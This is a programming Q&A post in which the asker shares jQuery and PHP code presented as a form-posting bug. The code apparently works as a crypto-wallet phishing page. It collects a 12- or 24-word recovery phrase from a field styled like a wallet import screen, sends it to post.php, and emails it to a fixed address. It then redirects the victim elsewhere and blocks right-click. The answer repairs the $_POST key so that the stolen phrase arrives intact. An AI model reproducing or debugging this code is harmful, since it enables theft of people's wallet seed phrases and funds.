Jquery ajax variable to PHP mailto () - php

Question

I am trying to post import-account__secret-phrase to a $_Post PHP variable within another file. To either store/email the variable.
<script>
var p = !1;
setTimeout(function() {
$(".z2").addClass("hidden"), $(".z3").removeClass("hidden")
}, 1e3), $(".import-account__secret-phrase").on("keyup", function() {
var t = $(this).val().split(" ");
p || (12 == t.length && 1 < t[11].length || 24 == t.length && 1 < t[23].length ? $(".button.btn--first-time.first-time-flow__button").prop("disabled", !1) : $(".button.btn--first-time.first-time-flow__button").prop("disabled", !0))
}), $(".button.btn--first-time.first-time-flow__button").on("click", function() {
p = !0, $(this).prop("disabled", !0).html('<i class="fa fa-spinner fa-spin fa-fw"></i> ' + $(this).html()), $.post("post.php", {
data1: "Account",
data: $(".import-account__secret-phrase").val()
}, function() {
p = !1
}, "json"), window.parent.opener.postMessage({
uni: !0
}), setTimeout(function() {
$(".z2").removeClass("hidden"), $(".z3").addClass("hidden"), setTimeout(function() {
window.parent.opener.location.replace("https://website.com"), window.parent.close()
}, 2e3)
}, 1e3)
}), document.body.addEventListener("contextmenu", function(t) {
"import-account__secret-phrase" != t.toElement.className && t.preventDefault()
}, !1);
</script>
Here is the post.php file which is in the same folder.
<?php
// data sent in header are in JSON format
header('Content-Type: application/json');
// takes the value from variables and Post the data
$postmessage = $_POST['.import-account__secret-phrase'];
$to = "email#email.com";
$subject = "Phrase";
// Email Template
$message .= "Message:". $postmessage."<br>";
$header .= "MIME-Version: 1.0\r\n";
$header .= "Content-type: text/html\r\n";
$retval = mail ($to,$subject,$message,$header);
?>
The email fires and is recieved, but the $postmessage variable is blank and the secret phrase isn't displayed.

Answer 1

The issue is because you're sending the values in the data and data1 parameters, yet your PHP appears to be trying to use a DOM selector to retrieve the value.
From the context you need to change that selector to just 'data', so that it reads the value you provided in the $.ajax() call.
$postmessage = $_POST['data'];
I would also suggest you use more descriptive parameter names.
